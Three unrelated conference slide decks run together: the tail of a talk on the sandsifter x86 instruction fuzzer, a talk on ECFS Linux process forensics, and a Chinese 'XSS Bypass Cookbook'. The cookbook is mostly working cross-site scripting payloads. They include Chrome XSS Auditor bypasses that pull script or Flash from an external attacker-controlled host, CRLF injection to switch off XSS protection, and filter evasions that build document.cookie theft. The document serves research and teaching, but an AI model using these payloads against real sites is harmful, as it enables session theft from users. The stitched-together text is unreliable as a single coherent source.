If the decoder determines that another byte is
necessary, it attempts to fetch it.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
This byte is on a non-executable page,
so the processor generates a page fault.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
The #PF exception provides
a fault address in the CR2 register.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
If we receive a #PF, with CR2 set
to the address of the second page,
we know the instruction continues.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Move the instruction back one byte.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Execute the instruction.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
The processor’s instruction decoder checks
the first byte of the instruction.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
If the decoder determines that another byte is
necessary, it attempts to fetch it.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Since this byte is in an executable page,
decoding continues.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
If the decoder determines that another byte is
necessary, it attempts to fetch it.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
This byte is on a non-executable page,
so the processor generates a page fault.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Move the instruction back one byte.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Execute the instruction.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Continue the process while
we receive #PF exceptions
with CR2 = second page address
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Move the instruction back one byte.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Execute.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Eventually, the entire instruction
will reside in the executable page.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
The instruction could run.
The instruction could throw a different fault.
The instruction could throw a #PF,
but with a different CR2.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
In all cases, we know the instruction has been
successfully decoded, so must reside entirely
in the executable page.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
With this, we know the instruction’s length.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
We now know how many bytes the
instruction decoder consumed
But just because the bytes were decoded
does not mean the instruction exists
If the instruction does not exist,
the processor generates the #UD exception
after the instruction decode
(invalid opcode exception)
Page fault analysis
If we don’t receive a #UD, the instruction exists.
Page fault analysis
Resolves lengths for:
Successfully executing instructions
Faulting instructions
Privileged instructions:
ring 0 only: mov cr0, eax
ring -1 only: vmenter
ring -2 only: rsm
Page fault analysis
The “injector” process performs
the page fault analysis and
tunneling instruction generation
The Injector
We’re fuzzing the same
device that we’re running on
How do we make sure we don’t crash?
Surviving
Step 1:
Limit ourselves to ring 3
We can still resolve instructions
living in deeper rings
This prevents accidental total system failure
(except in the case of serious processor bugs)
Surviving
Step 2:
Hook all exceptions the instruction might generate
In Linux:
SIGSEGV
SIGILL
SIGFPE
SIGBUS
SIGTRAP
Process will clean up after itself when possible
Surviving
Step 3:
Initialize general purpose registers to 0
Arbitrary memory write instructions like
add [eax + 4 * ecx], 0x9102
will not hit the injecting process’s address space
Surviving
Step 3 (continued):
Memory calculations using an offset:
add [eax + 4 * ecx + 0xf98102cd6], 0x9102
would still result in non-zero accesses
Could lead to process corruption
if the offset falls into the injector’s address space
Surviving
Step 3 (continued):
The tunneling approach ensures
offsets are constrained
0x0000002F
0x0000A900
0x00420000
0x1E000000
The tunneled offsets will not fall into
the injector’s address space
They will seg fault, but seg faults are caught
The process still won’t corrupt itself
Surviving
We’ve handled faulting instructions
What about non-faulting instructions?
The analysis needs to continue
after an instruction executes
Surviving
Set the trap flag prior to
executing the candidate instruction
On trap, reload the registers to a known state
Surviving
With these…
Ring 3
Exception handling
Register initialization
Register maintenance
Execution trapping
… the injector survives.
Surviving
So we now have a way to search the
instructions space.
How do we make sense
of the instructions we execute?
Analysis
The “sifter” process parses
the executions from the injector,
and pulls out the anomalies
The Sifter
We need a “ground truth”
Use a disassembler
It was written based on the documentation
Capstone
Sifting
Undocumented instruction:
Disassembler doesn’t recognize byte sequence and …
Instruction generates anything but a #UD
Software bug:
Disassembler recognizes instruction but …
Processor says the length is different
Hardware bug:
???
No consistent heuristic, investigate when something fails
Sifting
sandsifter - demo
(sandsifter)
(summarizer)
We now have a way to
systematically scan our processor
for secrets and bugs
Scanning
I scanned eight systems in my test library.
Scanning
Hidden instructions
Ubiquitous software bugs
Hypervisor flaws
Hardware bugs
Results
Hidden instructions
Scanned: Intel Core i7-4650U CPU
Intel hidden instructions
0f0dxx
Undocumented for non-/1 reg fields
0f18xx, 0f{1a-1f}xx
Undocumented until December 2016
0fae{e9-ef, f1-f7, f9-ff}
Undocumented for non-0 r/m fields until June 2014
Intel hidden instructions
dbe0, dbe1
df{c0-c7}
f1
{c0-c1}{30-37, 70-77, b0-b7, f0-f7}
{d0-d1}{30-37, 70-77, b0-b7, f0-f7}
{d2-d3}{30-37, 70-77, b0-b7, f0-f7}
f6 /1, f7 /1
Intel hidden instructions
Scanned: AMD Athlon (Geode NX1500)
AMD hidden instructions
0f0f{40-7f}{80-ff}{xx}
Undocumented for range of xx
dbe0, dbe1
df{c0-c7}
AMD hidden instructions
Scanned: VIA Nano U3500, VIA C7-M
VIA hidden instructions
0f0dxx
Undocumented by Intel for non-/1 reg fields
0f18xx, 0f{1a-1f}xx
Undocumented by Intel until December 2016
0fa7{c1-c7}
0fae{e9-ef, f1-f7, f9-ff}
Undocumented by Intel for non-0 r/m fields until June 2014
dbe0, dbe1
df{c0-c7}
VIA hidden instructions
What do these do?
Some have been reverse engineered
Some have no record at all.
Hidden instructions
Software bugs
Issue:
The sifter is forced to use a disassembler
as its “ground truth”
Every disassembler we tried as the
“ground truth” was littered with bugs.
Software bugs
Most bugs only appear in a few tools,
and are not especially interesting
Some bugs appeared in all tools
These can be used to an attacker’s advantage.
Software bugs
66e9xxxxxxxx (jmp)
66e8xxxxxxxx (call)
Software bugs
66e9xxxxxxxx (jmp)
66e8xxxxxxxx (call)
In x86_64
Theoretically, a jmp (e9) or call (e8),
with a data size override prefix (66)
Changes operand size from default of 32
Does that mean 16 bit or 64 bit?
Neither. 66 is ignored by the processor here.
Software bugs
Everyone parses this wrong.
Software bugs
Software bugs (IDA)
Software bugs (VS)
An attacker can use this to
mask malicious behavior
Throw off disassembly and jump targets
to cause analysis tools to miss the real behavior
Software bugs
Software bugs (objdump)
Software bugs (QEMU)
66 jmp
Why does everyone get this wrong?
AMD: override changes operand to 16 bits,
instruction pointer truncated
Intel: override ignored.
Software bugs
Issues when we can’t agree on a standard
sysret bugs
Either Intel or AMD is going to be
vulnerable when there is a difference
Impractically complex architecture
Tools cannot parse a jump instruction
Software bugs
Hypervisor bugs
In an Azure instance,
the trap flag is missed
on the cpuid instruction
(cpuid causes a vmexit,
and the hypervisor forgets
to emulate the trap)
Azure hypervisor bugs
Azure hypervisor bugs
Hardware bugs
Hardware bugs are troubling
A bug in hardware means
you now have the same bug
in all of your software.
Difficult to find
Difficult to fix
Hardware bugs
Scanned:
Quark, Pentium, Core i7
Intel hardware bugs
f00f bug on Pentium (anti-climactic)
Intel hardware bugs
Scanned:
Geode NX1500, C-50
AMD hardware bugs
On several systems,
receive a #UD exception
prior to complete instruction fetch
Per AMD specifications, this is incorrect.
#PF during instruction fetch takes priority
… until …
AMD hardware bugs
Scanned:
TM5700
Transmeta hardware bugs
Instructions: 0f{71,72,73}xxxx
Can receive #MF exception during fetch
Example:
Pending x87 FPU exception
psrad mm4, -0x50 (0f72e4b0)
#MF received after 0f72e4 fetched
Correct behavior: #PF on fetch,
last byte is still on invalid page
Transmeta hardware bugs
Found on one processor...
An apparent “halt and catch fire” instruction
Single malformed instruction in ring 3
locks the processor
Tested on 2 Windows kernels, 3 Linux kernels
Kernel debugging, serial I/O,
interrupt analysis seem to confirm
Unfortunately,
not finished with responsible disclosure
No details available
on chip, vendor, or instructions
(redacted) hardware bugs
ring 3 processor DoS:
demo
First such attack found in 20 years
(since Pentium f00f)
(redacted) hardware bugs
Significant security concern:
processor DoS from unprivileged user
(redacted) hardware bugs
Details (hopefully) released within the next month
(stay tuned)
(redacted) hardware bugs
Open sourced:
The sandsifter scanning tool
github.com/xoreaxeaxeax/sandsifter
Audit your processor,
break disassemblers/emulators/hypervisors,
halt and catch fire, etc.
Conclusions
I’ve only scanned a few systems
This is a fraction of what I found on mine
Who knows what exists on yours
Conclusions
Check your system
Send us results if you can
Conclusions
Don’t blindly trust the specifications.
Conclusions
Sandsifter lets us introspect
the black box at the heart of our systems.
Conclusions
github.com/xoreaxeaxeax
sandsifter
M/o/Vfuscator
REpsych
x86 0-day PoC
Etc.
Feedback? Ideas?
domas
@xoreaxeaxeax
[email protected] | pdf |
Advances in Linux
process forensics
with ECFS
Quick history
● Wanted to design a process snapshot
format native to VMA Vudu
● http://www.bitlackeys.org/#vmavudu
● ECFS proved useful for other projects as
well
Problem space
A process address space is complex with
many components
➢
ELF binary format (structural nuances)
➢
Dynamic linking
➢
Architecture specific data and structures
➢
Kernel specific data and code (VDSO, VSYSCALL)
➢
Multiple threads
Hackers infect processes
● Process infection is stealth and flexible
● Processes are attacked in many ways
➢
Viruses
➢
Rootkits
➢
Backdoors
➢
Exploitation
Process forensics capable tools
● Volatility
● Rekall
● Second Look
● ptrace system call
● GDB
● Core dumps
Volatility in kernel land
● Use full system memory dumps
● Dwarf symbols to acquire high resolution
insight into the Linux kernel
● Can be used to detect virtually any kernel
malware
● System.map, and libdwarf are friendly for
this (Creating kernel profiles)
Volatility in process memory
● detect_plt – A plugin for detecting
PLT/GOT hooks by Georg Wicherski
● Process snapshots are raw
● Low resolution insight compared to kernel
● Plugin development is a big task
● No profile can exist for each process
Full memory dump vs. process
memory dump
● Macrocosm: full memory dump
● Microcosm: process memory dump
● ECFS focuses on the Microcosm
Extended core file snapshot
● A custom core file format for forensics
analysis
● Backwards compatible with Linux Core
files
● HI-DEF resolution process-snapshots
Overview of attack surface
● ET_DYN Injection (.so files)
● ET_REL Injection (.o files)
● ET_EXEC Injection (exe files)
➢
LD_PRELOAD
➢
__libc_dlopen_mode
➢
sys_ptrace
➢
VDSO manipulation
➢
Shellcode based loading
● Symbol and code hijacking
➢
PLT/GOT poisoning
➢
Trampolines (inline hooks)
➢
.ctors/.dtors patching
➢
Text segment modifications and other anomalies
Process memory layout
Definition of process memory
forensics & analysis
● Understanding the process layout and structure
● Learning the programs runtime characteristics
● Identifying anomalous code or data
● Identifying process infection
➢
Backdoors
➢
Rootkits
➢
Keyloggers
➢
Viruses
➢
protected binaries
Traditional core files .p1
● A snapshot of a process
● Contains segments (text, data, stack, heap)
● Contains all memory mappings
● File mappings and shared libraries
● ELF file header
● Program headers describing memory
layout
Traditional core files .p2
● The PT_NOTE segment in a core file
contains:
➢ Register state (struct elf_prstatus)
➢ Shared library paths
➢ Auxiliary vector
➢ Signal information
Traditional core files .p3
● A core file is dumped by the kernel when a
process is delivered SIGSEGV
● /usr/src/linux/binfmt_elf.c
● Core files are useful for debugging a
crashing application
Traditional cores are useless for
forensics
● Highly dependent on the original
executable being available
● Do not provide more than 4096 bytes of
text images
● Does not give high resolution insight into a
process
Recap on forensics goals
● Detect shared library injection
● Detect function hijacking (Trampolines)
● Detect PLT/GOT hooks
● Detect ELF object injection
● Function pointer redirection
● Shellcode injection
● Strange segment permissions
● ETC.
We want to quickly identify
● Userland memory rootkits
● Exploitation residuals
● Runtime malware/viruses
ECFS Technology
● ECFS is a technology that transforms a
process image into an ELF file format
● ECFS makes process analysis much
easier
● Analogy (Photographing a process image)
Core file (Low res) ECFS file (Hi res)
ECFS Use cases
● Live malware analysis
● Process forensics
● Help break protected binaries
● Pausing and re-starting processes
(Process necromancy)
ECFS Features outline
●
Hooks into the Linux kernels core handler
●
Backwards compatible with core files
●
Full symbol table reconstruction
●
Section header table reconstruction
●
Built-in heuristics
●
Custom sections containing
- file descriptor data
- socket data
- IPC data
- Signal data
- Auxiliary vector
- Compressed /proc/<pid> directory
●
Re-execution (Pausing a process and running it later)
●
Libecfs (API) for parsing ECFS files
Core handler (core_pattern)
● /proc/sys/kernel/core_pattern
● We tell core_pattern to pipe core files into
our ecfs handler which then constructs an
ecfs file
● Snapshots without killing the process are
also possible (Not using core handler)
echo '|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -o
/opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern
Symbol table reconstruction .symtab
● The PT_GNU_EH_FRAME segment
contains FDE (Frame descriptor entries)
● .eh_frame data is used for stack
unwinding
● Can be used to find the location and size
of every function within the binary
● http://www.bitlackeys.org/#eh_frame
.symtab reconstruction is paramount
● Auto control flow (such as with IDA) fails
when: Binary is encrypted
● ECFS reconstructs symbol table with
exact function location and size even with
encrypted binaries
● Show example of reconstructed Maya
protected binary
Symbol table reconstruction .dynsym
● located by looking at the dynamic
segment and finding DT_SYMTAB
● resolve the address of every shared
library function at runtime
● plug these values into the corresponding
symbol table entry
ECFS Section headers
● Reconstructs most of the original section
headers (i.e., .text, .data, .plt, .got.plt, etc.)
● ECFS adds many new never before seen
section headers that are specific to process
analysis
ECFS custom sections
●
.heap – process heap
●
.stack – process stack
●
.vdso – virtual dynamic shared object
●
.vsyscall – vsyscall page
●
._TEXT – text segment (Not the same as .text)
●
._DATA – data segment (Not the same as .data)
ECFS custom sections .p2
●
.procfs.tgz - compressed /proc/pid
●
.prstatus - process status info, registers, etc.
●
.fdinfo – file descriptors, sockets, pipes
●
.siginfo – Signal and fault info
●
.auxvector – auxiliary vector from stack
●
.exepath – path of original executable
●
.personality – ECFS personality info
ECFS custom sections .p3
● .arglist – 'char **argv' of program
● .fpregset – Floating point registers
ECFS Custom section types
●
SHT_SHLIB – Marks shared library segment
mapping
●
SHT_INJECTED – Marks injected ELF objects
(ET_DYN, ET_REL, etc).
●
SHT_PRELOADED – Marks shared libraries that
were LD_PRELOAD'd
Injection detection heuristics
● ECFS uses techniques to detect injected ELF
objects
● Can detect shared libraries that were not
loaded by the dynamic linker
● Can detect any type of injected object file,
executable or shared library
● Can differentiate between dlopen and
__libc_dlopen_mode
Libecfs (API)
● ECFS parsing library
➢
Tool development is made very easy
➢
Program analysis on protected binaries
➢
Detecting advanced process infections
➢
Isolating the parasite code
➢
Distinct access to program structures and data types
/usr/bin/readecfs
● Readecfs utility
● Similar to readelf
● Uses libecfs to parse ecfs files
● Can extract parasites, code, sections from
ecfs files
● Still in early development
ECFS Re-execution
● ECFS snapshots can be taken and then
re-executed later in time
● Can be used for live process migration
● Analysis of a suspicious process (re-
executed within a sandbox)
● Beta stages
● https://github.com/elfmaster/ecfs_exec
Demo 1 – Detecting anti-forensics
process cloaking technique
● Take snapshot of process infected with
Saruman PIE executable injection
● Detect infection using simple readelf
● Extract parasite code using readecfs
http://www.bitlackeys.org/#saruman
Demo 2 – Detect userland rootkit
● Take snapshot of process infected with
Azazel userland rootkit
● Use readecfs to extract the parasite code
● Use detect_plt_hooks to show PLT/GOT
hooks in-place
Demo 3 – libecfs for tool
development is easy
● The detect_plt_hooks.c is less than 60
lines of code
● Can detect ELF Object injection
● Can detect Shared library injection
(ptrace/mmap/__libc_dlopen_mode)
● Can detect LD_PRELOAD libraries
● Can detect PLT/GOT hooks
Demo 4 – ECFS snapshot execution
● Take a snapshot of a simple process that
is reading from /etc/passwd and printing
the results
● Restore the snapshot, and demonstrate
how it restores the file streams, and
continues reading from the file
Questions?
● ECFS
● https://github.com/elfmaster/ecfs
● ECFS snapshot execution
● https://github.com/elfmaster/ecfs_exec
● Saruman anti-forensics execve
● https://github.com/elfmaster/saruman | pdf |
XSS Bypass Cookbook ver 3.0
XSS Bypass Cookbook
[+] Author: math1as
[+] Team: L team
#1 引言
在目前的web安全漏洞中,xss一直属于热门的一类,而它对用户造成的危害较大。
因此也引发了不少安全爱好者和专业工程师的研究。
而html5等新技术的使用和具体业务场景中复杂的环境带给了xss更大的生存空间。
而且不同xss向量也因为浏览器的特性会有所区别
比如chrome在加载资源时会校验服务器返回的mimeType
而firefox则根据标签自己设定的type来做出处理
本文在目前较为常见的几种过滤条件下,简单的探讨了xss这一技术的应用以及绕过
相对于上一版,新增了一个chrome auditor bypass和部分js特性,以及ie下的trick
#1.1 研究范围
XSS在各种具体业务场景下的应用和绕过
#1.2 测试环境
在本文所叙述的测试环境中,用到的浏览器版本如下:
chrome 54.0 / firefox 50.0 均为当前的最新发行版本
ie系列由于精力有限未能进行测试
正文中所有以x=开头的payload,均是在这个输出环境下测试的,代码如下
<input value="<?php
error_reporting(0);
$content=$_GET['x'];
echo $content;
?>" />
输出在了input的value属性里
而对于直接输出在上下文或者其他位置的情况,则做了额外的探讨
#2 Bypass Chrome XSS Auditor
反射型XSS作为最容易发现和挖掘的一种XSS,活跃了非常久的时间。
但是到现在它的作用已经被逐步的弱化
特别是浏览器,比如chrome自身的xss auditor在其中扮演了非常重要的角色
它通过直接检查了输入的内容,判断其是否在输出中出现。
(当然,基本是针对'危险标签'和可能导致javascript执行的地方)
如果符合其过滤条件,那么将直接阻止脚本的执行,比如给出这样的提示
因此给反射XSS带来了不小的难度,但是它就真的那么坚固而不可挑战么?
让我们来从各个方面对它进行逐步的分析吧
本文里所提到的auditor bypass
大部分是输出在属性里的情况,直接输出而被绕过的情况已经很少见了。
#2.1 字符集问题产生的bypass
由于chrome浏览器对ISO-2022-JP等编码的处理不当
比如在页面没有设置默认的charset时,使用了这个日语字符集
在会被auditor检查的部分添加%0f字符,就可以绕过了
比如如下payload
<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1) />
这其实是利用了浏览器处理字符集时产生的问题。
目前的chrome 54/55仍然没有进行修复
随着以后字符集的更新,这种问题仍然有可能出现。
#2.2 过滤关键字造成的bypass
在我们的xss测试过程中,可能最不喜欢的就是各类过滤了,它给我们xss带来了很大的难度
但是在特定场合,它却能起到让我们绕过auditor的作用
chrome的xss auditor主要基于如下规则(这种描述也许比较粗糙)
(1)输入的内容是否直接在输出中出现
(2)输入是否有敏感标签,或者造成脚本执行的事件
那么聪明的你可能就想到了,如果替换掉了敏感关键字,比如开发者如果替换掉了<script>标签
那么对于这样的一个输出在属性里的例子
while(1)
{
if(stripos($content,"<script>")===false) break;
$content=str_replace("<script>","",$content);
}
<img alt="<?php echo $content;?>">
如果我们用<script>分割掉敏感的事件,那么我们的输入在经过auditor检查的时候,就被放行了。
而真正打印内容进行渲染的时候,由于$content中的<script>被过滤,因此我们的xss脚本成功的执行了
用这种方法,成功的绕过了xss auditor
那么它是否可以被用在直接输出的反射XSS中呢?
我们把这个输出点的代码改成如下:
<?php
$content=$_GET['x'];
while(1)
{
if(stripos($content,"<script>")===false) break;
$content=str_replace("<script>","",$content);
}
echo $content;
?>
事实证明,这种方法是完全可行的
#2.3 协议理解产生的bypass
chrome的xss auditor 在检查加载脚本的路径时,有一个比较有趣的地方
如果加载的脚本在自身目录下,那么如果xss的输出点在html属性中
auditor是不会对其进行拦截的
但是如果检测到了 // 这样的外部链接的话,就会触发auditor无法加载外部脚本
这时就有一个小细节了,在加载其他脚本时 如果我们输入了的链接使用了http: 而没有带上 // 的话
它会仍然被视为在这个目录下,比如我们构造payload
x=1"><link%20rel="import"%20href=http:www.math1as.com
明显的,它被视为了一个目录,从而返回了不存在,此时auditor也不会对其进行拦截
那么换个思路想想. 使用http: 虽然被认为是一个目录,但是https呢
我们使用https来代替http:
发现成功的把它当作了一个完整的https链接进行了加载
注意的是这里不能使用>或者"进行闭合,否则就会触发auditor的标签完整性检测
因此,像<script src="evil" ></script> 这样需要闭合的脚本就不能使用了
接下来的问题就是,既然不能用"闭合,也就意味着我们的链接最后始终会带有一个"
并且,由于加载外部文档会触发CROS,所以我们需要设置其header来允许访问
因此,我们在.htaccess新建一条url转发
RewriteRule 1.\"$ /xss/t1.php
并在t1.php中写入如下代码
<?php
header("Access-Control-Allow-Origin:*");
echo "<script>alert(1)</script>";
?>
这样我们使用如下payload,就可以成功的把xss脚本给加载过来了
x=1"><link%20rel="import"%20href=https:www.math1as.com/1.
成功的绕过了auditor
这个payload在最新的chrome 54/55中有效
那么它是否可以被用在直接输出的反射XSS中呢?
假设我们处于一个直接输出的xss点当中,具体代码如下
<body>
<?php
$content=$_GET['x'];
echo $content;
?>
</body>
这时我们使用如下payload
x=<link%20rel="import"%20href=https:www.math1as.com/
那么,很显然的,这个payload是一个无条件的chrome auditor bypass,适用于最新版chrome 54/55
这个payload由原作者发现后,认为是一个输出在属性中的bypass,而在我和phithon复现后,发现其实是无视条件直接触发的
那么,既然这样做可以加载外部资源,那么使用<embed>来加载一个外部flash产生xss是不是也可以呢?
首先我们需要让这个带有"结尾的后缀能被成功的响应为一个flash文件
在apache的mime.types配置文件中添加了s"的后缀名
可以看到返回了application/x-shockwave-flash
资源也成功加载了,但是我们的chrome并不领情
当然这里需要说明是的对于firefox来说它是不会分辨mimetype的,但是chrome就会进行校验。
因此,很遗憾的,我们的<embed>不能使用在这里。
#2.4 <param>标签导致的绕过
在chrome的源码HTMLObjectElement.cpp 文件中,有如下的定义
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
所以当我们输入这几个name的时候,它就会加载外来的flash文件
这时候我们需要object标签来始终允许脚本运行,并使用如下payload
<object allowscriptaccess=always><param name=url value=https://www.math1as.com/3.swf>
成功绕过
而且这也是一个universal bypass
#2.5 上传swf导致flash-xss所产生的bypass
根据2.3中的思路,如果存在任意一个可以上传swf文件的上传点,就可以对chrome的auditor进行绕过。
所用的payload如下
x=1"><embed+type="application/x-shockwave-flash"+allowscriptaccess=always+src=/a/1.swf"
但是这种方法一般比较鸡肋
因为允许上传swf文件的话,一般也允许在富文本编辑器中直接加载这个swf了
#2.6 crlf产生的bypass
由于chrome的auditor默认是开启的,但是仍然会受到http头的影响
如果X-XSS-Protection被赋值为0,那么chrome自身的filter就会关闭
因此,如果在一个302跳转页面我们注入了%0d%0a然后在新一行中
写入X-XSS-Protection:0,那么接下来的XSS内容就不会受到auditor的阻止了
如何在这个页面构造一个反射型XSS呢?
http数据报文的格式是这样的
需要再多注入%0d%0a%0d%0a,即两个crlf
这时的内容就会被视为http body而直接输出到源码中,浏览器会将其解析
因此就产生了bypass浏览器filter的注入。
但是php高版本中已不允许发送多行header
因此这个利用方法只适用于其他语言的web环境下进行利用
#3 各类针对关键字过滤的bypass
在实际的业务场景中,xss会受到程序本身,或者是可能存在的waf的影响,他们会过滤或者替换掉
攻击者payload中的某些特定关键字,因此针对关键字过滤的bypass也一直是我们主要关注的方向
#3.1 过滤特定标签
这种过滤其实真的已经无法起效了,任何一个标签都可以构造出XSS,因此不再赘述
一个示例payload <img src="#" onerror=alert(1) />
利用事件来触发xss
也可以是利用<embed>来加载一个远程的flash文件,制造xss
当然,如果输出点在html属性中,即使过滤了尖括号<>,如果可以闭合属性的冒号
那么仍然产生了dom-xss,利用事件足以摧毁开发者的防御。
#3.2 通用的敏感关键字绕过方法
关键字过滤是针对敏感变量,或者函数的,比如cookie,eval等
又或者是()符号,
那么介绍几种通用的绕过的方法
1. 利用数组方式来拼接
js里的对象成员方法也可以用数组的形式的表示
简单的说,比如eval()函数就可以用top对象的成员方法来表示
top['ev'+'al'](evalcode)
这时,比如过滤了eval,我们可以这样来触发xss
x="onfocus=top["ev"%2b"al"](alert(1))//
使用字符串拼接的方式来构造出eval
2. 利用location的url解码特点
现代浏览器基本支持javascript:code 这种伪协议
而location在跳转的过程中又会自动解码,因此我们可以试图把敏感部分进行二次编码
存放到location部位。
比如我们通过这样的方式来调用eval
x="onfocus=location="javascript:%2565%2576%2561%256c(alert(1))"//
可以看到,成功的通过eval去调用了alert(1)
那你会问,如果括号也被过滤了呢? 继续编码就好了
构造如下的payload
x="onfocus=location="javascript:%2565%2576%2561%256c%2528alert%25281%2529%2529"//
3.利用location.hash来存放
location.hash是浏览器中用于定位锚的字符串,它是不会向服务端发送的,因此也不会被过滤
所以我们可以构造如下payload来进行绕过
x="onfocus=outerHTML=location.hash//#<img/src="#" onerror=alert(document.cookie)>
4. String.fromCharcode() 可以从ascii码中解析出特定的字符串,比如这里过滤document.cookie
使用如下的payload
x="onfocus=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))//
就可以成功绕过
5. 利用window.name进行跨域传输
用在location.hash被过滤/长度不够,或者不能使用点号的情况
这里可以使用一个<iframe scr="payload" name="evilcode" />的方式,在window.name中存储代码
其实这种方法也被称为回旋镖
它能够把一个反射XSS升格为类似存储型XSS的效果
这里以绕过对eval的过滤为例
<iframe src="http://127.0.0.1/q.php?x=1%22onfocus=location=window.name//" name="javascript:eval(alert(document.cookie))" width="100%"
height="100%" />
将其保存为一个html,随便放置在一个地方,就像普通的xss那样触发
6.利用<svg>标签,<svg>内部的标签和语句遵循的规定是直接继承自xml而不是html
区别在于,<svg>内部的<script>标签中,可以允许一部分进制/编码后的字符(比如实体编码)
这里绕过对括号的过滤,使用实体编码为例,&#[十进制],&#x[十六进制] 作为例子
使用如下payload
1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>
成功的进行了绕过
补充:svg里的<script>,还甚至可以使用<!-- -->来进行整段注释
7.利用ES6模板字符串
`${some string}` 使用反引号
中间的some string会被当作表达式解析,简单的说就是你可以在这里使用变量
当然,一个很明显的地方就是,如果只是过滤了某个特定的字符,完全可以用这种方式绕过
举个简单的例子,如果过滤掉了1
我们可以用 `${3-2}` 这种方式来表示1
而且有一部分函数是支持不用括号传参,直接使用模板字符串作为参数的。
比如prompt,我们这里用它来弹出1
使用如下的payload
x="onfocus=prompt`${3-2}`//
可以成功的绕过
补:这种方法并非真正的进行了绕过
因为用es6进行传参的时候 "," 会作为第一个参数传递给目标函数
会导致错误。
这时,则需要使用对象(函数)的.call方法来传递
这时,原本.call方法的第一个参数是this指针,而它即使是null也能正确执行
而它接受到了","这个非法参数,则默认为null执行
如果调用的对象(函数)是一个全局对象,也能得到正确的执行。
比如eval.call`${name}`
这时如果我能操控window.name,则会正确的执行我们的代码。
当然如果能使用引号
eval.call`${'alert(1)'}`
也是能正确执行目标代码的
而且没有使用() 括号进行传参
#3.3 针对特定敏感关键字的绕过方法
1.针对过滤了.符号
使用with()方法可以设定对象的作用域
也就是我原本要访问location.hash
由于点号被过滤
只需要使用with(location)hash即可
构造payload如下
1"onfocus=with(location)alert(hash)//#11
如果过滤的点号被使用在域名中
那么在ie/chrome/ff下
使用 。(%E3%80%82) 是可以代替 .的
2.针对过滤了()号
使用throw传递参数,配合 ES6模板字符串 `${some string}`
具体的思路是,throw可以抛出一个异常(err)交给异常处理函数去处理
但是如果它没有在try...catch结构中使用的话,就会引发一个uncaught 'err内容' 的异常
也就是抛出的整个异常内容是 "uncaugh 'err内容'"
比如这样
所以,如果我们把异常处理函数绑定为eval
eval实际收到的就是一个Uncaught=alert(document.cookie)的表达式
它会自动执行这个表达式
而throw本身接受参数的时候是可以接受模板字符串作为参数的
所以构造如下payload
1"onfocus=top.onerror=eval;throw`=alert\x28document.cookie\x29`//
这里等号的目的就是使它成为一个合法的表达式
成功的绕过
3.过滤了空格
在标签的名称和第一个属性之间 可以用 / 来代替空格
<img/src="#" />
而在其他的某几个位置换行符也是可以起效的,具体我没有进行测试
《web之困》上有一个讲解这个知识点的地方
只是大概的举一个payload作为例子
x=1"><img/src=%23%0aonerror=alert(1)>
我们不使用双引号来闭合,但是通过%0a作为分隔符获得了一样的效果
4.过滤了\r\n等换行符
javascript里允许用U+2028作为换行符
因此,这时我们可以插入一个\u2028来实现绕过
5.过滤<script>,而最终又转换为了大写
http://dba86.com/docs/other/grep.html
中给出了一些德语符号和拉丁文符号
其中拉丁文中的'long s' 在大写时会被转换为英语的'S'
因此可以绕过这个限制。
6.过滤了大部分符号,而又输出在var x = {} 中
只要双引号和()没被绕过
就可以使用"somestr"(alert(1))in"otherstr"
的方式执行
原理是这样的
js的解释器的特点 => 初步检查只管语法正确 => ('只要不报syntax error')则类型等其他问题只有等执行时才会报错 => 在报错之前会按照语法树解析的顺序一直执行下
去。
而"somestr"()则是把"somestr"(注意,是包含引号的整体)作为了函数名
把(alert(1))作为参数进行传递
而这时会先进行参数值的解析,因此函数会得到执行
7.过滤了注释符//
-->也可以作为js的行注释符
比如构造如下payload
<script>
alert(1)-->xsasxqwewqe
</script>
8.仍然是过滤了//,只是这次用在协议+域名中
在ie下
使用 /ゝ (%E3%82%9D) 代替 //
来自 jackmasa
9.使用str.replace中的replacement可控
在过滤了"的作用下,如果这时可以通过$`取到第一个匹配前的所有字符
或者$1取到第一个匹配分组
那么即使我们传入的replacement已经过一次检查
替换后的结果中仍然可以存在"
#3.4 针对某些过滤方法的绕过。
1.如果对于某个object的属性,在检查到非法字符串的时候
使用了delete对其进行清除,那么我们可以通过向其原型传递参数的方法来进行绕过。
比如x={'name':'invalid','__proto__':{'name':'evilcode'}}
则这时如果使用__proto__进行属性的赋值
因为__proto__是x对象的原型,所以如果对name进行delete
delete x.name;
则这个语句delete x自身的属性后
x会继承其__proto__的属性
有一点像c++里的子类继承父类属性
#4 长度限制的bypass
码由于笔者自身的能力有限,所以这里也只列举三个方法
4.1 window.name跨域
使用iframe跨域的话,自身的payload长度就可以得到极大的缩短
因为你唯一需要的就是执行window.name里的代码
有在特定的场景下,window.name由于window是一个全局对象,可以直接省略window
而是用name去访问我们的window.name
而window.name能够承载的长度很大,足够我们绕过
因此我们的只需要eval(name)就可以了
使用如下payload
<iframe src="http://127.0.0.1/q.php?x=1%22onfocus=eval(window.name)//" name="alert(document.cookie)" width="100%" height="100%" />
成功执行
